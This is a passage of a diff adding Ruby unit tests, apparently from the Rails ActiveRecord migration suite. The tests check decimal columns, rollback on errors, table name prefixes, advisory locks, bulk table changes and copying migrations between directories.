+      def connection
+        Class.new {
+          def create_table; "hi mom!"; end
+        }.new
+      end
+    }.new
+
+    assert_equal "hi mom!", migration.method_missing(:create_table)
+  end
+
+  def test_add_table_with_decimals
+    Person.connection.drop_table :big_numbers rescue nil
+
+    assert !BigNumber.table_exists?
+    GiveMeBigNumbers.up
+    BigNumber.reset_column_information
+
+    assert BigNumber.create(
+      bank_balance: 1586.43,
+      big_bank_balance: BigDecimal("1000234000567.95"),
+      world_population: 6000000000,
+      my_house_population: 3,
+      value_of_e: BigDecimal("2.7182818284590452353602875")
+    )
+
+    b = BigNumber.first
+    assert_not_nil b
+
+    assert_not_nil b.bank_balance
+    assert_not_nil b.big_bank_balance
+    assert_not_nil b.world_population
+    assert_not_nil b.my_house_population
+    assert_not_nil b.value_of_e
+
+    # TODO: set world_population >= 2**62 to cover 64-bit platforms and test
+    # is_a?(Bignum)
+    assert_kind_of Integer, b.world_population
+    assert_equal 6000000000, b.world_population
+    assert_kind_of Integer, b.my_house_population
+    assert_equal 3, b.my_house_population
+    assert_kind_of BigDecimal, b.bank_balance
+    assert_equal BigDecimal("1586.43"), b.bank_balance
+    assert_kind_of BigDecimal, b.big_bank_balance
+    assert_equal BigDecimal("1000234000567.95"), b.big_bank_balance
+
+    # This one is fun. The 'value_of_e' field is defined as 'DECIMAL' with
+    # precision/scale explicitly left out.  By the SQL standard, numbers
+    # assigned to this field should be truncated but that's seldom respected.
+    if current_adapter?(:PostgreSQLAdapter)
+      # - PostgreSQL changes the SQL spec on columns declared simply as
+      # "decimal" to something more useful: instead of being given a scale
+      # of 0, they take on the compile-time limit for precision and scale,
+      # so the following should succeed unless you have used really wacky
+      # compilation options
+      assert_kind_of BigDecimal, b.value_of_e
+      assert_equal BigDecimal("2.7182818284590452353602875"), b.value_of_e
+    elsif current_adapter?(:SQLite3Adapter)
+      # - SQLite3 stores a float, in violation of SQL
+      assert_kind_of BigDecimal, b.value_of_e
+      assert_in_delta BigDecimal("2.71828182845905"), b.value_of_e, 0.00000000000001
+    else
+      # - SQL standard is an integer
+      assert_kind_of Integer, b.value_of_e
+      assert_equal 2, b.value_of_e
+    end
+
+    GiveMeBigNumbers.down
+    assert_raise(ActiveRecord::StatementInvalid) { BigNumber.first }
+  end
+
+  def test_filtering_migrations
+    assert_no_column Person, :last_name
+    assert !Reminder.table_exists?
+
+    name_filter = lambda { |migration| migration.name == "ValidPeopleHaveLastNames" }
+    ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", &name_filter)
+
+    assert_column Person, :last_name
+    assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
+
+    ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", &name_filter)
+
+    assert_no_column Person, :last_name
+    assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
+  end
+
+  class MockMigration < ActiveRecord::Migration::Current
+    attr_reader :went_up, :went_down
+    def initialize
+      @went_up   = false
+      @went_down = false
+    end
+
+    def up
+      @went_up = true
+      super
+    end
+
+    def down
+      @went_down = true
+      super
+    end
+  end
+
+  def test_instance_based_migration_up
+    migration = MockMigration.new
+    assert !migration.went_up, "have not gone up"
+    assert !migration.went_down, "have not gone down"
+
+    migration.migrate :up
+    assert migration.went_up, "have gone up"
+    assert !migration.went_down, "have not gone down"
+  end
+
+  def test_instance_based_migration_down
+    migration = MockMigration.new
+    assert !migration.went_up, "have not gone up"
+    assert !migration.went_down, "have not gone down"
+
+    migration.migrate :down
+    assert !migration.went_up, "have gone up"
+    assert migration.went_down, "have not gone down"
+  end
+
+  if ActiveRecord::Base.connection.supports_ddl_transactions?
+    def test_migrator_one_up_with_exception_and_rollback
+      assert_no_column Person, :last_name
+
+      migration = Class.new(ActiveRecord::Migration::Current) {
+        def version; 100 end
+        def migrate(x)
+          add_column "people", "last_name", :string
+          raise "Something broke"
+        end
+      }.new
+
+      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+
+      e = assert_raise(StandardError) { migrator.migrate }
+
+      assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
+
+      assert_no_column Person, :last_name,
+        "On error, the Migrator should revert schema changes but it did not."
+    end
+
+    def test_migrator_one_up_with_exception_and_rollback_using_run
+      assert_no_column Person, :last_name
+
+      migration = Class.new(ActiveRecord::Migration::Current) {
+        def version; 100 end
+        def migrate(x)
+          add_column "people", "last_name", :string
+          raise "Something broke"
+        end
+      }.new
+
+      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+
+      e = assert_raise(StandardError) { migrator.run }
+
+      assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
+
+      assert_no_column Person, :last_name,
+        "On error, the Migrator should revert schema changes but it did not."
+    end
+
+    def test_migration_without_transaction
+      assert_no_column Person, :last_name
+
+      migration = Class.new(ActiveRecord::Migration::Current) {
+        disable_ddl_transaction!
+
+        def version; 101 end
+        def migrate(x)
+          add_column "people", "last_name", :string
+          raise "Something broke"
+        end
+      }.new
+
+      migrator = ActiveRecord::Migrator.new(:up, [migration], 101)
+      e = assert_raise(StandardError) { migrator.migrate }
+      assert_equal "An error has occurred, all later migrations canceled:\n\nSomething broke", e.message
+
+      assert_column Person, :last_name,
+        "without ddl transactions, the Migrator should not rollback on error but it did."
+    ensure
+      Person.reset_column_information
+      if Person.column_names.include?("last_name")
+        Person.connection.remove_column("people", "last_name")
+      end
+    end
+  end
+
+  def test_schema_migrations_table_name
+    original_schema_migrations_table_name = ActiveRecord::Base.schema_migrations_table_name
+
+    assert_equal "schema_migrations", ActiveRecord::SchemaMigration.table_name
+    ActiveRecord::Base.table_name_prefix = "prefix_"
+    ActiveRecord::Base.table_name_suffix = "_suffix"
+    Reminder.reset_table_name
+    assert_equal "prefix_schema_migrations_suffix", ActiveRecord::SchemaMigration.table_name
+    ActiveRecord::Base.schema_migrations_table_name = "changed"
+    Reminder.reset_table_name
+    assert_equal "prefix_changed_suffix", ActiveRecord::SchemaMigration.table_name
+    ActiveRecord::Base.table_name_prefix = ""
+    ActiveRecord::Base.table_name_suffix = ""
+    Reminder.reset_table_name
+    assert_equal "changed", ActiveRecord::SchemaMigration.table_name
+  ensure
+    ActiveRecord::Base.schema_migrations_table_name = original_schema_migrations_table_name
+    Reminder.reset_table_name
+  end
+
+  def test_internal_metadata_table_name
+    original_internal_metadata_table_name = ActiveRecord::Base.internal_metadata_table_name
+
+    assert_equal "ar_internal_metadata", ActiveRecord::InternalMetadata.table_name
+    ActiveRecord::Base.table_name_prefix = "p_"
+    ActiveRecord::Base.table_name_suffix = "_s"
+    Reminder.reset_table_name
+    assert_equal "p_ar_internal_metadata_s", ActiveRecord::InternalMetadata.table_name
+    ActiveRecord::Base.internal_metadata_table_name = "changed"
+    Reminder.reset_table_name
+    assert_equal "p_changed_s", ActiveRecord::InternalMetadata.table_name
+    ActiveRecord::Base.table_name_prefix = ""
+    ActiveRecord::Base.table_name_suffix = ""
+    Reminder.reset_table_name
+    assert_equal "changed", ActiveRecord::InternalMetadata.table_name
+  ensure
+    ActiveRecord::Base.internal_metadata_table_name = original_internal_metadata_table_name
+    Reminder.reset_table_name
+  end
+
+  def test_internal_metadata_stores_environment
+    current_env     = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+    migrations_path = MIGRATIONS_ROOT + "/valid"
+    old_path        = ActiveRecord::Migrator.migrations_paths
+    ActiveRecord::Migrator.migrations_paths = migrations_path
+
+    ActiveRecord::Migrator.up(migrations_path)
+    assert_equal current_env, ActiveRecord::InternalMetadata[:environment]
+
+    original_rails_env  = ENV["RAILS_ENV"]
+    original_rack_env   = ENV["RACK_ENV"]
+    ENV["RAILS_ENV"]    = ENV["RACK_ENV"] = "foofoo"
+    new_env = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+
+    refute_equal current_env, new_env
+
+    sleep 1 # mysql by default does not store fractional seconds in the database
+    ActiveRecord::Migrator.up(migrations_path)
+    assert_equal new_env, ActiveRecord::InternalMetadata[:environment]
+  ensure
+    ActiveRecord::Migrator.migrations_paths = old_path
+    ENV["RAILS_ENV"] = original_rails_env
+    ENV["RACK_ENV"]  = original_rack_env
+    ActiveRecord::Migrator.up(migrations_path)
+  end
+
+  def test_internal_metadata_stores_environment_when_other_data_exists
+    ActiveRecord::InternalMetadata.delete_all
+    ActiveRecord::InternalMetadata[:foo] = "bar"
+
+    current_env     = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+    migrations_path = MIGRATIONS_ROOT + "/valid"
+    old_path        = ActiveRecord::Migrator.migrations_paths
+    ActiveRecord::Migrator.migrations_paths = migrations_path
+
+    current_env = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+    ActiveRecord::Migrator.up(migrations_path)
+    assert_equal current_env, ActiveRecord::InternalMetadata[:environment]
+    assert_equal "bar", ActiveRecord::InternalMetadata[:foo]
+  ensure
+    ActiveRecord::Migrator.migrations_paths = old_path
+  end
+
+  def test_proper_table_name_on_migration
+    reminder_class = new_isolated_reminder_class
+    migration = ActiveRecord::Migration.new
+    assert_equal "table", migration.proper_table_name("table")
+    assert_equal "table", migration.proper_table_name(:table)
+    assert_equal "reminders", migration.proper_table_name(reminder_class)
+    reminder_class.reset_table_name
+    assert_equal reminder_class.table_name, migration.proper_table_name(reminder_class)
+
+    # Use the model's own prefix/suffix if a model is given
+    ActiveRecord::Base.table_name_prefix = "ARprefix_"
+    ActiveRecord::Base.table_name_suffix = "_ARsuffix"
+    reminder_class.table_name_prefix = "prefix_"
+    reminder_class.table_name_suffix = "_suffix"
+    reminder_class.reset_table_name
+    assert_equal "prefix_reminders_suffix", migration.proper_table_name(reminder_class)
+    reminder_class.table_name_prefix = ""
+    reminder_class.table_name_suffix = ""
+    reminder_class.reset_table_name
+
+    # Use AR::Base's prefix/suffix if string or symbol is given
+    ActiveRecord::Base.table_name_prefix = "prefix_"
+    ActiveRecord::Base.table_name_suffix = "_suffix"
+    reminder_class.reset_table_name
+    assert_equal "prefix_table_suffix", migration.proper_table_name("table", migration.table_name_options)
+    assert_equal "prefix_table_suffix", migration.proper_table_name(:table, migration.table_name_options)
+  end
+
+  def test_rename_table_with_prefix_and_suffix
+    assert !Thing.table_exists?
+    ActiveRecord::Base.table_name_prefix = "p_"
+    ActiveRecord::Base.table_name_suffix = "_s"
+    Thing.reset_table_name
+    Thing.reset_sequence_name
+    WeNeedThings.up
+    Thing.reset_column_information
+
+    assert Thing.create("content" => "hello world")
+    assert_equal "hello world", Thing.first.content
+
+    RenameThings.up
+    Thing.table_name = "p_awesome_things_s"
+
+    assert_equal "hello world", Thing.first.content
+  ensure
+    Thing.reset_table_name
+    Thing.reset_sequence_name
+  end
+
+  def test_add_drop_table_with_prefix_and_suffix
+    assert !Reminder.table_exists?
+    ActiveRecord::Base.table_name_prefix = "prefix_"
+    ActiveRecord::Base.table_name_suffix = "_suffix"
+    Reminder.reset_table_name
+    Reminder.reset_sequence_name
+    Reminder.reset_column_information
+    WeNeedReminders.up
+    assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
+    assert_equal "hello world", Reminder.first.content
+
+    WeNeedReminders.down
+    assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
+  ensure
+    Reminder.reset_sequence_name
+  end
+
+  def test_create_table_with_binary_column
+    assert_nothing_raised {
+      Person.connection.create_table :binary_testings do |t|
+        t.column "data", :binary, null: false
+      end
+    }
+
+    columns = Person.connection.columns(:binary_testings)
+    data_column = columns.detect { |c| c.name == "data" }
+
+    assert_nil data_column.default
+  ensure
+    Person.connection.drop_table :binary_testings, if_exists: true
+  end
+
+  unless mysql_enforcing_gtid_consistency?
+    def test_create_table_with_query
+      Person.connection.create_table :table_from_query_testings, as: "SELECT id FROM people WHERE id = 1"
+
+      columns = Person.connection.columns(:table_from_query_testings)
+      assert_equal [1], Person.connection.select_values("SELECT * FROM table_from_query_testings")
+      assert_equal 1, columns.length
+      assert_equal "id", columns.first.name
+    ensure
+      Person.connection.drop_table :table_from_query_testings rescue nil
+    end
+
+    def test_create_table_with_query_from_relation
+      Person.connection.create_table :table_from_query_testings, as: Person.select(:id).where(id: 1)
+
+      columns = Person.connection.columns(:table_from_query_testings)
+      assert_equal [1], Person.connection.select_values("SELECT * FROM table_from_query_testings")
+      assert_equal 1, columns.length
+      assert_equal "id", columns.first.name
+    ensure
+      Person.connection.drop_table :table_from_query_testings rescue nil
+    end
+  end
+
+  if current_adapter?(:SQLite3Adapter)
+    def test_allows_sqlite3_rollback_on_invalid_column_type
+      Person.connection.create_table :something, force: true do |t|
+        t.column :number, :integer
+        t.column :name, :string
+        t.column :foo, :bar
+      end
+      assert Person.connection.column_exists?(:something, :foo)
+      assert_nothing_raised { Person.connection.remove_column :something, :foo, :bar }
+      assert !Person.connection.column_exists?(:something, :foo)
+      assert Person.connection.column_exists?(:something, :name)
+      assert Person.connection.column_exists?(:something, :number)
+    ensure
+      Person.connection.drop_table :something, if_exists: true
+    end
+  end
+
+  if current_adapter? :OracleAdapter
+    def test_create_table_with_custom_sequence_name
+      # table name is 29 chars, the standard sequence name will
+      # be 33 chars and should be shortened
+      assert_nothing_raised do
+        begin
+          Person.connection.create_table :table_with_name_thats_just_ok do |t|
+            t.column :foo, :string, null: false
+          end
+        ensure
+          Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
+        end
+      end
+
+      # should be all good w/ a custom sequence name
+      assert_nothing_raised do
+        begin
+          Person.connection.create_table :table_with_name_thats_just_ok,
+            sequence_name: "suitably_short_seq" do |t|
+            t.column :foo, :string, null: false
+          end
+
+          Person.connection.execute("select suitably_short_seq.nextval from dual")
+
+        ensure
+          Person.connection.drop_table :table_with_name_thats_just_ok,
+            sequence_name: "suitably_short_seq" rescue nil
+        end
+      end
+
+      # confirm the custom sequence got dropped
+      assert_raise(ActiveRecord::StatementInvalid) do
+        Person.connection.execute("select suitably_short_seq.nextval from dual")
+      end
+    end
+  end
+
+  if current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter)
+    def test_out_of_range_integer_limit_should_raise
+      e = assert_raise(ActiveRecord::ActiveRecordError, "integer limit didn't raise") do
+        Person.connection.create_table :test_integer_limits, force: true do |t|
+          t.column :bigone, :integer, limit: 10
+        end
+      end
+
+      assert_match(/No integer type has byte size 10/, e.message)
+    ensure
+      Person.connection.drop_table :test_integer_limits, if_exists: true
+    end
+  end
+
+  if current_adapter?(:Mysql2Adapter)
+    def test_out_of_range_text_limit_should_raise
+      e = assert_raise(ActiveRecord::ActiveRecordError, "text limit didn't raise") do
+        Person.connection.create_table :test_text_limits, force: true do |t|
+          t.text :bigtext, limit: 0xfffffffff
+        end
+      end
+
+      assert_match(/No text type has byte length #{0xfffffffff}/, e.message)
+    ensure
+      Person.connection.drop_table :test_text_limits, if_exists: true
+    end
+  end
+
+  if ActiveRecord::Base.connection.supports_advisory_locks?
+    def test_migrator_generates_valid_lock_id
+      migration = Class.new(ActiveRecord::Migration::Current).new
+      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+
+      lock_id = migrator.send(:generate_migrator_advisory_lock_id)
+
+      assert ActiveRecord::Base.connection.get_advisory_lock(lock_id),
+        "the Migrator should have generated a valid lock id, but it didn't"
+      assert ActiveRecord::Base.connection.release_advisory_lock(lock_id),
+        "the Migrator should have generated a valid lock id, but it didn't"
+    end
+
+    def test_generate_migrator_advisory_lock_id
+      # It is important we are consistent with how we generate this so that
+      # exclusive locking works across migrator versions
+      migration = Class.new(ActiveRecord::Migration::Current).new
+      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+
+      lock_id = migrator.send(:generate_migrator_advisory_lock_id)
+
+      current_database = ActiveRecord::Base.connection.current_database
+      salt = ActiveRecord::Migrator::MIGRATOR_SALT
+      expected_id = Zlib.crc32(current_database) * salt
+
+      assert lock_id == expected_id, "expected lock id generated by the migrator to be #{expected_id}, but it was #{lock_id} instead"
+      assert lock_id.bit_length <= 63, "lock id must be a signed integer of max 63 bits magnitude"
+    end
+
+    def test_migrator_one_up_with_unavailable_lock
+      assert_no_column Person, :last_name
+
+      migration = Class.new(ActiveRecord::Migration::Current) {
+        def version; 100 end
+        def migrate(x)
+          add_column "people", "last_name", :string
+        end
+      }.new
+
+      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+      lock_id = migrator.send(:generate_migrator_advisory_lock_id)
+
+      with_another_process_holding_lock(lock_id) do
+        assert_raise(ActiveRecord::ConcurrentMigrationError) { migrator.migrate }
+      end
+
+      assert_no_column Person, :last_name,
+        "without an advisory lock, the Migrator should not make any changes, but it did."
+    end
+
+    def test_migrator_one_up_with_unavailable_lock_using_run
+      assert_no_column Person, :last_name
+
+      migration = Class.new(ActiveRecord::Migration::Current) {
+        def version; 100 end
+        def migrate(x)
+          add_column "people", "last_name", :string
+        end
+      }.new
+
+      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+      lock_id = migrator.send(:generate_migrator_advisory_lock_id)
+
+      with_another_process_holding_lock(lock_id) do
+        assert_raise(ActiveRecord::ConcurrentMigrationError) { migrator.run }
+      end
+
+      assert_no_column Person, :last_name,
+        "without an advisory lock, the Migrator should not make any changes, but it did."
+    end
+  end
+
+  private
+    # This is needed to isolate class_attribute assignments like `table_name_prefix`
+    # for each test case.
+    def new_isolated_reminder_class
+      Class.new(Reminder) {
+        def self.name; "Reminder"; end
+        def self.base_class; self; end
+      }
+    end
+
+    def with_another_process_holding_lock(lock_id)
+      thread_lock = Concurrent::CountDownLatch.new
+      test_terminated = Concurrent::CountDownLatch.new
+
+      other_process = Thread.new do
+        begin
+          conn = ActiveRecord::Base.connection_pool.checkout
+          conn.get_advisory_lock(lock_id)
+          thread_lock.count_down
+          test_terminated.wait # hold the lock open until we tested everything
+        ensure
+          conn.release_advisory_lock(lock_id)
+          ActiveRecord::Base.connection_pool.checkin(conn)
+        end
+      end
+
+      thread_lock.wait # wait until the 'other process' has the lock
+
+      yield
+
+      test_terminated.count_down
+      other_process.join
+    end
+end
+
+class ReservedWordsMigrationTest < ActiveRecord::TestCase
+  def test_drop_index_from_table_named_values
+    connection = Person.connection
+    connection.create_table :values, force: true do |t|
+      t.integer :value
+    end
+
+    assert_nothing_raised do
+      connection.add_index :values, :value
+      connection.remove_index :values, column: :value
+    end
+  ensure
+    connection.drop_table :values rescue nil
+  end
+end
+
+class ExplicitlyNamedIndexMigrationTest < ActiveRecord::TestCase
+  def test_drop_index_by_name
+    connection = Person.connection
+    connection.create_table :values, force: true do |t|
+      t.integer :value
+    end
+
+    assert_nothing_raised do
+      connection.add_index :values, :value, name: "a_different_name"
+      connection.remove_index :values, column: :value, name: "a_different_name"
+    end
+  ensure
+    connection.drop_table :values rescue nil
+  end
+end
+
+if ActiveRecord::Base.connection.supports_bulk_alter?
+  class BulkAlterTableMigrationsTest < ActiveRecord::TestCase
+    def setup
+      @connection = Person.connection
+      @connection.create_table(:delete_me, force: true) { |t| }
+      Person.reset_column_information
+      Person.reset_sequence_name
+    end
+
+    teardown do
+      Person.connection.drop_table(:delete_me) rescue nil
+    end
+
+    def test_adding_multiple_columns
+      assert_queries(1) do
+        with_bulk_change_table do |t|
+          t.column :name, :string
+          t.string :qualification, :experience
+          t.integer :age, default: 0
+          t.date :birthdate
+          t.timestamps null: true
+        end
+      end
+
+      assert_equal 8, columns.size
+      [:name, :qualification, :experience].each { |s| assert_equal :string, column(s).type }
+      assert_equal "0", column(:age).default
+    end
+
+    def test_removing_columns
+      with_bulk_change_table do |t|
+        t.string :qualification, :experience
+      end
+
+      [:qualification, :experience].each { |c| assert column(c) }
+
+      assert_queries(1) do
+        with_bulk_change_table do |t|
+          t.remove :qualification, :experience
+          t.string :qualification_experience
+        end
+      end
+
+      [:qualification, :experience].each { |c| assert ! column(c) }
+      assert column(:qualification_experience)
+    end
+
+    def test_adding_indexes
+      with_bulk_change_table do |t|
+        t.string :username
+        t.string :name
+        t.integer :age
+      end
+
+      # Adding an index fires a query every time to check if an index already exists or not
+      assert_queries(3) do
+        with_bulk_change_table do |t|
+          t.index :username, unique: true, name: :awesome_username_index
+          t.index [:name, :age]
+        end
+      end
+
+      assert_equal 2, indexes.size
+
+      name_age_index = index(:index_delete_me_on_name_and_age)
+      assert_equal ["name", "age"].sort, name_age_index.columns.sort
+      assert ! name_age_index.unique
+
+      assert index(:awesome_username_index).unique
+    end
+
+    def test_removing_index
+      with_bulk_change_table do |t|
+        t.string :name
+        t.index :name
+      end
+
+      assert index(:index_delete_me_on_name)
+
+      assert_queries(3) do
+        with_bulk_change_table do |t|
+          t.remove_index :name
+          t.index :name, name: :new_name_index, unique: true
+        end
+      end
+
+      assert ! index(:index_delete_me_on_name)
+
+      new_name_index = index(:new_name_index)
+      assert new_name_index.unique
+    end
+
+    def test_changing_columns
+      with_bulk_change_table do |t|
+        t.string :name
+        t.date :birthdate
+      end
+
+      assert ! column(:name).default
+      assert_equal :date, column(:birthdate).type
+
+      # One query for columns (delete_me table)
+      # One query for primary key (delete_me table)
+      # One query to do the bulk change
+      assert_queries(3, ignore_none: true) do
+        with_bulk_change_table do |t|
+          t.change :name, :string, default: "NONAME"
+          t.change :birthdate, :datetime
+        end
+      end
+
+      assert_equal "NONAME", column(:name).default
+      assert_equal :datetime, column(:birthdate).type
+    end
+
+    private
+
+      def with_bulk_change_table
+        # Reset columns/indexes cache as we're changing the table
+        @columns = @indexes = nil
+
+        Person.connection.change_table(:delete_me, bulk: true) do |t|
+          yield t
+        end
+      end
+
+      def column(name)
+        columns.detect { |c| c.name == name.to_s }
+      end
+
+      def columns
+        @columns ||= Person.connection.columns("delete_me")
+      end
+
+      def index(name)
+        indexes.detect { |i| i.name == name.to_s }
+      end
+
+      def indexes
+        @indexes ||= Person.connection.indexes("delete_me")
+      end
+  end # AlterTableMigrationsTest
+end
+
+class CopyMigrationsTest < ActiveRecord::TestCase
+  include ActiveSupport::Testing::Stream
+
+  def setup
+  end
+
+  def clear
+    ActiveRecord::Base.timestamped_migrations = true
+    to_delete = Dir[@migrations_path + "/*.rb"] - @existing_migrations
+    File.delete(*to_delete)
+  end
+
+  def test_copying_migrations_without_timestamps
+    ActiveRecord::Base.timestamped_migrations = false
+    @migrations_path = MIGRATIONS_ROOT + "/valid"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+    copied = ActiveRecord::Migration.copy(@migrations_path, bukkits: MIGRATIONS_ROOT + "/to_copy")
+    assert File.exist?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
+    assert File.exist?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
+    assert_equal [@migrations_path + "/4_people_have_hobbies.bukkits.rb", @migrations_path + "/5_people_have_descriptions.bukkits.rb"], copied.map(&:filename)
+
+    expected = "# This migration comes from bukkits (originally 1)"
+    assert_equal expected, IO.readlines(@migrations_path + "/4_people_have_hobbies.bukkits.rb")[1].chomp
+
+    files_count = Dir[@migrations_path + "/*.rb"].length
+    copied = ActiveRecord::Migration.copy(@migrations_path, bukkits: MIGRATIONS_ROOT + "/to_copy")
+    assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+    assert copied.empty?
+  ensure
+    clear
+  end
+
+  def test_copying_migrations_without_timestamps_from_2_sources
+    ActiveRecord::Base.timestamped_migrations = false
+    @migrations_path = MIGRATIONS_ROOT + "/valid"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+    sources = {}
+    sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy"
+    sources[:omg] = MIGRATIONS_ROOT + "/to_copy2"
+    ActiveRecord::Migration.copy(@migrations_path, sources)
+    assert File.exist?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
+    assert File.exist?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
+    assert File.exist?(@migrations_path + "/6_create_articles.omg.rb")
+    assert File.exist?(@migrations_path + "/7_create_comments.omg.rb")
+
+    files_count = Dir[@migrations_path + "/*.rb"].length
+    ActiveRecord::Migration.copy(@migrations_path, sources)
+    assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+  ensure
+    clear
+  end
+
+  def test_copying_migrations_with_timestamps
+    @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+    travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+      copied = ActiveRecord::Migration.copy(@migrations_path, bukkits: MIGRATIONS_ROOT + "/to_copy_with_timestamps")
+      assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      expected = [@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb",
+                  @migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb"]
+      assert_equal expected, copied.map(&:filename)
+
+      files_count = Dir[@migrations_path + "/*.rb"].length
+      copied = ActiveRecord::Migration.copy(@migrations_path, bukkits: MIGRATIONS_ROOT + "/to_copy_with_timestamps")
+      assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+      assert copied.empty?
+    end
+  ensure
+    clear
+  end
+
+  def test_copying_migrations_with_timestamps_from_2_sources
+    @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+    sources = {}
+    sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
+    sources[:omg]     = MIGRATIONS_ROOT + "/to_copy_with_timestamps2"
+
+    travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+      copied = ActiveRecord::Migration.copy(@migrations_path, sources)
+      assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101012_create_articles.omg.rb")
+      assert File.exist?(@migrations_path + "/20100726101013_create_comments.omg.rb")
+      assert_equal 4, copied.length
+
+      files_count = Dir[@migrations_path + "/*.rb"].length
+      ActiveRecord::Migration.copy(@migrations_path, sources)
+      assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+    end
+  ensure
+    clear
+  end
+
+  def test_copying_migrations_with_timestamps_to_destination_with_timestamps_in_future
+    @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+    travel_to(Time.utc(2010, 2, 20, 10, 10, 10)) do
+      ActiveRecord::Migration.copy(@migrations_path, bukkits: MIGRATIONS_ROOT + "/to_copy_with_timestamps")
+      assert File.exist?(@migrations_path + "/20100301010102_people_have_hobbies.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100301010103_people_have_descriptions.bukkits.rb")
+
+      files_count = Dir[@migrations_path + "/*.rb"].length
+      copied = ActiveRecord::Migration.copy(@migrations_path, bukkits: MIGRATIONS_ROOT + "/to_copy_with_timestamps")
+      assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+      assert copied.empty?
+    end
+  ensure
+    clear
+  end
+
+  def test_copying_migrations_preserving_magic_comments
+    ActiveRecord::Base.timestamped_migrations = false
+    @migrations_path = MIGRATIONS_ROOT + "/valid"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+    copied = ActiveRecord::Migration.copy(@migrations_path, bukkits: MIGRATIONS_ROOT + "/magic")
+    assert File.exist?(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")
+    assert_equal [@migrations_path + "/4_currencies_have_symbols.bukkits.rb"], copied.map(&:filename)
+
+    expected = "# frozen_string_literal: true\n# coding: ISO-8859-15\n# This migration comes from bukkits (originally 1)"
+    assert_equal expected, IO.readlines(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")[0..2].join.chomp
+
+    files_count = Dir[@migrations_path + "/*.rb"].length
+    copied = ActiveRecord::Migration.copy(@migrations_path, bukkits: MIGRATIONS_ROOT + "/magic")
+    assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+    assert copied.empty?
+  ensure
+    clear
+  end
+
+  def test_skipping_migrations
+    @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+    sources = {}
+    sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
+    sources[:omg]     = MIGRATIONS_ROOT + "/to_copy_with_name_collision"
+
+    skipped = []
+    on_skip = Proc.new { |name, migration| skipped << "#{name} #{migration.name}" }
+    copied = ActiveRecord::Migration.copy(@migrations_path, sources, on_skip: on_skip)
+    assert_equal 2, copied.length
+
+    assert_equal 1, skipped.length
+    assert_equal ["omg PeopleHaveHobbies"], skipped
+  ensure
+    clear
+  end
+
+  def test_skip_is_not_called_if_migrations_are_from_the_same_plugin
+    @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+    sources = {}
+    sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
+
+    skipped = []
+    on_skip = Proc.new { |name, migration| skipped << "#{name} #{migration.name}" }
+    copied = ActiveRecord::Migration.copy(@migrations_path, sources, on_skip: on_skip)
+    ActiveRecord::Migration.copy(@migrations_path, sources, on_skip: on_skip)
+
+    assert_equal 2, copied.length
+    assert_equal 0, skipped.length
+  ensure
+    clear
+  end
+
+  def test_copying_migrations_to_non_existing_directory
+    @migrations_path = MIGRATIONS_ROOT + "/non_existing"
+    @existing_migrations = []
+
+    travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+      copied = ActiveRecord::Migration.copy(@migrations_path, bukkits: MIGRATIONS_ROOT + "/to_copy_with_timestamps")
+      assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
